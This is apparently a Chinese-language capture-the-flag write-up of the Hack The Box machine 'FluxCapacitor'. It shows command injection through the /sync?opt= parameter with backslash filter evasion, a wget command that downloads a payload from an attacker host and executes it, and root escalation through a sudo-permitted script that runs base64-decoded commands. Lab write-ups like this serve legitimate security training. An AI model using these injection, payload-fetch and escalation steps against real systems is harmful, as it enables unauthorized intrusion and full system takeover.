FluxCapacitor(from nobody to root)

1
2
3
4
5
6
7
8
9
10
curl "http://10.10.10.69/sync?opt=' sudo -l'"
curl "http://10.10.10.69/sync?opt=' c\at /home/themiddle/.monit'"
curl "http://10.10.10.69/sync?opt=' whe\reis n\c'"
curl "http://10.10.10.69/sync?opt=' w\hereis python'"
curl "http://10.10.10.69/sync?opt=' w\hereis wg\et'"
curl "http://10.10.10.69/sync?opt=' /usr/bin/pyt\hon3.6 -V'"

curl "http://10.10.10.69/sync?opt=' /usr/bin/wg\et http://10.10.14.7:8888/p.elf -P /tmp'" 发现p.elf不能保存到/tmp,于是将payload改名为index.html.1
curl "http://10.10.10.69/sync?opt=' ch\mod a+x /tmp/index.html.1'"
curl "http://10.10.10.69/sync?opt=' ./tmp/index.html.1'"

info

1
2
3
os: Linux fluxcapacitor 4.13.0-17-generic #20-Ubuntu SMP Mon Nov 6 10:04:08 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

/bin/nc , /usr/bin/python3.6 , /usr/bin/wget

shell脚本

/home/themiddle/.monit

1
2
3
4
5
6
7
#!/bin/bash

if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi

提权

参考以前文章

1
2
3
4
5
6
7
8
9
/usr/bin/python3.6 -c 'import pty; pty.spawn("/bin/bash")'

cd /home/themiddle/
./.monit cmd bHMK
sudo ./.monit cmd Y2F0IC9yb290L3Jvb3QudHh0Cg==(cat /root/root.txt)

通过sudo ./.monit cmd 任意命令

这种方式,可以以root权限执行任意命令

总结

wfuzz报错了,在这个实验中,fuzz到/sync?opt=,是获得突破点的关键。